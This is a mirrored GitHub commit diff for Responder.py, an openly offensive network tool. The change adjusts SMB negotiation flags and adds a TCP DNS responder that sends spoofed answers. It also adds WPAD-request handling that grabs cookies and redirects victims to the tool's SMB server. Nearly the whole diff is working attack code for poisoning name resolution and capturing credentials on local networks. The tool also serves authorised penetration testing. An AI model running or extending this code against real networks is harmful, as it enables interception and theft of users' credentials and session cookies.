mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 21:03:33 -07:00
Fixed minor bugs
This commit is contained in:
parent
0fcaa68c07
commit
f8a16e28ee
1 changed files with 29 additions and 5 deletions
34
Responder.py
34
Responder.py
|
@ -549,7 +549,7 @@ class SMB1LM(SocketServer.BaseRequestHandler):
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
##Negotiate proto answer.
|
##Negotiate proto answer.
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == "\x72\x00":
|
||||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||||
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
|
@ -785,15 +785,32 @@ class DNS(SocketServer.BaseRequestHandler):
|
||||||
self.socket.setblocking(0)
|
self.socket.setblocking(0)
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
request, socket = self.request
|
req, soc = self.request
|
||||||
data = request
|
data = req
|
||||||
if ParseDNSType(data):
|
if ParseDNSType(data):
|
||||||
buff = DNSAns()
|
buff = DNSAns()
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
socket.sendto(str(buff), self.client_address)
|
soc.sendto(str(buff), self.client_address)
|
||||||
print "DNS Answer sent to: %s "%(self.client_address[0])
|
print "DNS Answer sent to: %s "%(self.client_address[0])
|
||||||
logging.warning('DNS Answer sent to: %s'%(self.client_address[0]))
|
logging.warning('DNS Answer sent to: %s'%(self.client_address[0]))
|
||||||
|
|
||||||
|
class DNSTCP(SocketServer.BaseRequestHandler):
|
||||||
|
def server_bind(self):
|
||||||
|
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
|
||||||
|
self.socket.bind(self.server_address)
|
||||||
|
self.socket.setblocking(0)
|
||||||
|
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
if ParseDNSType(data):
|
||||||
|
buff = DNSAns()
|
||||||
|
buff.calculate(data)
|
||||||
|
self.request.send(buff)
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
raise
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#HTTP Stuff
|
#HTTP Stuff
|
||||||
##################################################################################
|
##################################################################################
|
||||||
|
@ -894,6 +911,7 @@ def Basic_Ntlm(Basic):
|
||||||
def PacketSequence(data,client):
|
def PacketSequence(data,client):
|
||||||
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||||
|
c = re.findall('(?<=wpad.dat )[^\\r]*', data)
|
||||||
if a:
|
if a:
|
||||||
packetNtlm = b64decode(''.join(a))[8:9]
|
packetNtlm = b64decode(''.join(a))[8:9]
|
||||||
if packetNtlm == "\x01":
|
if packetNtlm == "\x01":
|
||||||
|
@ -920,6 +938,12 @@ def PacketSequence(data,client):
|
||||||
buffer1.calculate()
|
buffer1.calculate()
|
||||||
return str(buffer1)
|
return str(buffer1)
|
||||||
|
|
||||||
|
if c:
|
||||||
|
GrabCookie(data,client)
|
||||||
|
buffer1 = IIS_Auth_Redir()
|
||||||
|
print "HTTP WPAD request detected, redirecting to SMB server"
|
||||||
|
return str(buffer1)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
return str(Basic_Ntlm(Basic))
|
return str(Basic_Ntlm(Basic))
|
||||||
|
|
||||||
|
@ -1379,7 +1403,7 @@ def Is_LDAP_On(LDAP_On_Off):
|
||||||
#Function name self-explanatory
|
#Function name self-explanatory
|
||||||
def Is_DNS_On(DNS_On_Off):
|
def Is_DNS_On(DNS_On_Off):
|
||||||
if DNS_On_Off == "ON":
|
if DNS_On_Off == "ON":
|
||||||
return thread.start_new(serve_thread_udp,('', 53,DNS)),thread.start_new(serve_thread_tcp,('', 53,DNS))
|
return thread.start_new(serve_thread_udp,('', 53,DNS)),thread.start_new(serve_thread_tcp,('', 53,DNSTCP))
|
||||||
if DNS_On_Off == "OFF":
|
if DNS_On_Off == "OFF":
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue